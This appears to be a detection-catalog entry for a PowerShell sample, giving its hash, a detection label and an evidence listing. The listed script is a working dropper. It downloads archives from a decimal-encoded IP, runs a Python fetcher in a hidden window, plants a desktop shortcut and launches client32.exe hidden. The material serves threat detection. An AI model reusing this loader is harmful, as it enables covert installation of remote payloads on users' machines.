near-miss-no-startup.ps1
Decimal-host file download near hidden process launchInvokes PowerShell HTTP request cmdlet
SHA-2569d4e39b0fb02f20d556c1a4c46cca38b3309b283348051f1844e50956b9879c0
MaleculeO₂(ErXe₂)H₅(Cm₇Db₂F₃Os₅Po₃)
Evidence
1$root = Join-Path $env:APPDATA 'ReviewClient'
2New-Item -ItemType Directory -Force $root | Out-Null
3Invoke-WebRequest 'http://1495423691/python.zip' -OutFile "$root\python.zip"
4Expand-Archive "$root\python.zip" "$root\runtime" -Force
5$script = @'
6import urllib.request, zipfile
7urllib.request.urlretrieve('http://1495423691/client.zip', 'client.zip')
8with zipfile.ZipFile('client.zip') as archive:
9 archive.extractall('client')
10'@
11Set-Content "$root\install.py" $script
12Start-Process "$root\runtime\python.exe" -ArgumentList "$root\install.py" -WindowStyle Hidden -Wait -WorkingDirectory $root
13$ws = New-Object -ComObject WScript.Shell
14$link = $ws.CreateShortcut((Join-Path ([Environment]::GetFolderPath('Desktop')) 'ReviewClient.lnk'))
15$link.TargetPath = "$root\client\client32.exe"
16$link.WindowStyle = 7
17$link.Save()
18Start-Process "$root\client\client32.exe" -WindowStyle Hidden